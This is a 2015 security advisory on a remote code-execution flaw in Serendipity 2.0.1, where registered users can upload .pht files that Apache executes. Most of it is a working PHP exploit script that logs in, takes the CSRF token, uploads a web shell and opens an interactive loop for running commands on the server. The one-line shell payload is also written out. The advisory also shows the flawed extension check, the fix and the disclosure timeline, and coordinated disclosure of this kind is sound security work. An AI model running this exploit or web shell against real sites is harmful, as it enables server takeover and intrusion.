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Serendipity 2.0.1 Shell Upload

Posted on 04 September 2015

Serendipity 2.0.1: Code Execution
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: Serendipity 2.0.1
Fixed in: 2.0.2
Fixed Version Link:
https://github.com/s9y/Serendipity/releases/download/2.0.2/serendipity-2.0.2.zip

Vendor Contact: serendipity@supergarv.de
Vulnerability Type: Code Execution
Remote Exploitable: Yes
Reported to vendor: 07/21/2015
Disclosed to public: 09/01/2015
Release mode: Coordinated release
CVE: n/a
Credits Tim Coen of Curesec GmbH

2. Vulnerability Description
Serendipity 2.0.1 does not allow the upload of .php, .php4, .php5,
.phtml files, or files starting with a dot - eg .htaccess files.

However, files with extension .pht can be uploaded by registered users,
and will be executed by most default Apache configurations.

The file upload is located here:
http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[adminAction]=addSelect

User registration either requires an admin to create the user, or the
plugin serendipity_plugin_adduser being activated. The default setting
for this plugin does not require an admin to accept the registration of
that user.

3. Proof of Concept

#!/usr/local/bin/php
<?php
if (count($argv) != 8 && count($argv) != 7) {
 help($argv);
 exit;
}
$cookieJar = tempnam('/tmp', 'cookie');
$user = $argv[1];
$pass = $argv[2];
$rootURL = $argv[3];
$loginURL = $argv[3] . '/' . $argv[4];
$uploadFormURL = $rootURL . '/' . $argv[5];
$shellFileName = $argv[6];

if (count($argv) == 7) {
 $shellURL = $rootURL . '/uploads/' . basename($shellFileName);
} else {
 $shellURL = $rootURL . '/' . $argv[7];
}

// login
echo "logging in as $user
";
if (!login($loginURL, array(
 "serendipity[user]" => $user,
 "serendipity[pass]" => $pass,
 "submit" => "Login"))) {
 echo "could not log in
";
 exit;
}
echo "login done
";

// csrf token
echo "getting anti CSRF token
";
$nonce = getCSRFToken($uploadFormURL, $cookieJar);
echo "token: $nonce
";

// uploading
echo "uploading $shellFileName to $shellURL
";
$file = upload($uploadFormURL, $shellFileName,
"serendipity[userfile][1]", array(
 "serendipity[token]" => $nonce,
 "serendipity[action]" => "admin",
 "serendipity[adminModule]" => "media",
 "serendipity[adminAction]" => "add",
 "serendipity[column_count][1]" => "true",
 "serendipity[all_authors]" => "true",
 "serendipity[imageimporttype]" => "image",
 "serendipity[target_filename][]" => "",
 "serendipity[target_directory][]" => ""), $cookieJar);
if ($file == false) {
 echo "could not upload (possibly wrong extension? Only .pht is
allowed)
";
 exit;
}
echo "upload done
";

// executing
echo "starting execution
";
execute($shellURL, 'exec');

function help($argv) {
 echo "usage: php " . $argv[0] . " [user] [pass] [root url] [login
path] [upload form path] [local shell file (pht), should contain <?php
passthru($_GET['exec']);] [shell path (optional, in case upload path is
non-standard)]

example: php " . $argv[0] . " admin admin http://localhost/serendipity
serendipity_admin.php
serendipity_admin.php?serendipity[adminModule]=media ./404.pht
";
}

function upload($URL, $fileName, $fileFieldName, $additionalPost,
$cookieJar) {
 $fileNameAbsolute = realpath($fileName);
 $post = array($fileFieldName => '@' . $fileNameAbsolute);
 $post = array_merge($post, $additionalPost);
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $URL);
 curl_setopt($ch, CURLOPT_POST, 1);
 curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar);
 curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar);
 $result = curl_exec($ch);

 $success = strpos($result, "successfully uploaded as") !== false;
 $tmp = preg_match("/successfully uploaded as (.*?)</span>/s",
$result, $matches);
 curl_close($ch);
 return $success ? $matches[1] : false;
}

function get($URL, $cookieJar = null) {
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $URL);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar);
 curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar);
 $result = curl_exec($ch);
 curl_close($ch);
 return $result;
}

function login($URL, $post) {
 global $cookieJar;

 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $URL);
 curl_setopt($ch, CURLOPT_POST, 1);
 curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar);
 curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar);
 $content = curl_exec($ch);
 $success = strpos($content, "Logged in as") !== false;
 curl_close($ch);
 return $success;
}

function getCSRFToken($URL, $cookieJar) {
 $content = get($URL, $cookieJar);
 $tmp = preg_match("/input type="hidden"
name="serendipity[token]" value="(.*?)" //s", $content, $matches);
 return $matches[1];
}

function execute($shellURL, $argsName) {
 while (true) {
 $line = readline("$: ");
 if ($line == "quit" || $line == "exit") {
 exit;
 }
 echo get($shellURL . "?" . $argsName . "=" . urlencode($line));
 }
}

4. Code

 The relevant function checking file extensions:
 /include/functions_images.inc.php:16

 function serendipity_isActiveFile($file) {
 if (preg_match('@^.@', $file)) {
 return true;
 }

 $core =
preg_match('@.(php.*|[psj]html?|aspx?|cgi|jsp|py|pl)$@i', $file);
 if ($core) {
 return true;
 }

 $eventData = false;
 serendipity_plugin_api::hook_event('backend_media_check',
$eventData, $file);
 return $eventData;
 }

5. Solution
To mitigate this issue please upgrade at least to version 2.0.2:

https://github.com/s9y/Serendipity/releases/download/2.0.2/serendipity-2.0.2.zip

Please note that a newer version might already be available.

5. Report Timeline

07/21/2015 Informed Vendor about Issue
07/24/2015 Vendor releases Version 2.0.2
09/01/2015 Disclosed to public

6. Blog Reference:
http://blog.curesec.com/article/blog/Serendipity-201-Code-Execution-48.html

 

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